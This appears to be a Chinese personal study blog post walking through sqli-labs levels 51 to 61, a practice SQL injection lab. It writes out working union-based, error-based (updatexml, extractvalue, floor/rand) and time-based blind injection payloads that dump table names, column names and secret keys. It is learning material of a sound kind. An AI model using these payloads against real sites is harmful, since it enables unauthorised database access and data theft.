写在前面:
此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出。欢迎各位前来交流。(部分材料来源网络,若有侵权,立即删除)
第五十一关
- 简单的单引号加注释符就测试出来了闭合符
- 构造语句
'and updatexml(1,concat(0x7e,database(),0x7e),1)%23
- easy
- get it
第五十二关
- 判断应该是数字型无闭合符
- 并且没有报错回显
- 所以只能采用时间盲注
- sleep()执行了说明构造语句结构没错
- 构造sql注入语句进行时间盲注
?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(3),0);%23
- get it
第五十三关
- 确定了闭合符为单引号
- 尝试使用五十一的方法
- 发现不行
- 因为没有报错回显
- 所以使用上一题的盲注方法
?sort=1%27%20and%20if(ascii(substr(database(),1,1))=115,sleep(3),0);%23
- get it
第五十四关
- 多多少少看起来有点懵
- 报错情况
The objective of this challenge is to dump the (secret key) from only random table from Database ('CHALLENGES') in Less than 10 attempts
For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.
- 翻译翻译就是在数据库中找类似flag的密钥
- 有点ctf的感觉了
- 且限定次数不超过十次
- 将id作为1参数传入
- 第一次:单引号注释符尝试出闭合符为单引号
- 第二次:找显示位(好像回到了梦开始的地方)
- 这里手滑忘记改成-1浪费了一次机会
- 第三次:同上
- 找到显示位了
- 已近知道数据库的名字
- 下一步就是爆表名
- 构造语句
?id=0' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema="challenges"; %23
- 找到表名:1koosne610
- 下一步就是在表中找列
- 构造sql注入语句
?id=0' union select 1,2,group_concat(column_name)from information_schema.columns where table_name="1koosne610"%23
- id,sessid,secret_ET8R,tryy
- 显然我们要找到的列名应该是secret_ET8R
- 构造sql注入语句
?id=0' union select 1,2,group_concat(secret_ET8R)from challenges.1koosne610%23
- 出结果了
- oKGNaIpBnRkdA7Wrw95QptxQ
- get it
第五十五关
- 情况和上一题差不多
- 考虑到增加了十四次可能会出现报错不回显或者报错回显结果单一的情况
- 先猜一次闭合符吧
- 不是双引号
- 试到第六次发现是数字型的没有闭合符
- 那就显示位开冲
- 试到最后也没有结果
- 重开
- 尝试了一个括号闭合
- 发现成功了
- 第一次遇到只有括号的情况
- 也是醉了
- 那就显示位走运行流程
- 同样的原因浪费了一次机会
- 下一步根据已知数据库名爆表名
- 构造语句
?id=0) union select 1,2,group_concat(table_name)from information_schema.tables where table_schema="challenges"; %23
- 得到结果,下一步爆列名;w70yw7lrz6
?id=0) union select 1,2,group_concat(column_name)from information_schema.columns where table_name="w70yw7lrz6"%23
- 一下子就在茫茫列海中找到它:,secret_T75R
- 下一步直接冲它
?id=0) union select 1,2,group_concat(secret_T75R)from challenges.w70yw7lrz6%23
- 出结果了
- GTiuQeuTsz3PqJ8K2ydJhoUx
- get it
第五十六关
- 单走一个单引号加括号
- 步骤同上
- 几乎一模一样
- 改一改闭合符就好了
- get it
第五十七关
- 闭合符为双引号
- 步骤同上
- get it
第五十八关
- 试出来了单引号
- 但是已近花了两次
- 可以看到这边是没有返回在数据库中查询到的数据
- 但是前面尝试闭合符的时候发现报错显示是正常显示的
- 所以这道题可以使用报错注入
?id=-1'union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))%23
- 得到了表名2eh90ft4l8
- 继续爆列名:
- 构造sql注入报错注入语句
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='2eh90ft4l8'),0x7e))--+
- 出结果了
- 下一步直接开冲
- secret_E5EI
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(secret_E5EI) from 2eh90ft4l8),0x7e))--+
- 找到key:TjQN43SlRSVnQv8CNvTA8Q6Q
第五十九关
- 多次尝试闭合符未果,果断认为是整数型
- 查看表
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
- y3oefysnek
- 下一步进行报错注入查询列名
?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘y3oefysnek’),0x7e),1)–+
- 试了很多次
- 报错的原因可能不是方法的问题
- 估计是搭的靶场有问题
- pass
第六十关
- 试出闭合符号为双引号带括号
- 下一步判断显示位
- 判断失败,直接报错注入吧
?id=0")%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),0x7e),1)--+
- nwt3793lnb
- 下一步找列
and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘nwt3793lnb’),0x7e),1)%23
- 估计是平台的问题
- pass
第六十一关
-
猜测闭合符应该是双引号
-
并且是有报错回显的
-
最稳妥的是报错注入
-
但是多次尝试在报错中发现闭合符应该是 '))
-
重新进行报错注入
-
ef5aonzc0v
?id=-1')) union select 1,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema="challenges"),floor(2*rand()))a from information_schema.columns group by a;%23
?id=-1')) union select 1,count(*),concat((select group_concat(column_name) from information_schema.columns where table_name="ef5aonzc0v"),floor(2*rand()))a from information_schema.columns group by a;%23
?id=-1')) union select 1,count(*),concat((select `secret_QXGA` from challenges.ef5aonzc0v),floor(2*rand()))a from information_schema.columns group by a;%23
- get it
end
摸鱼去了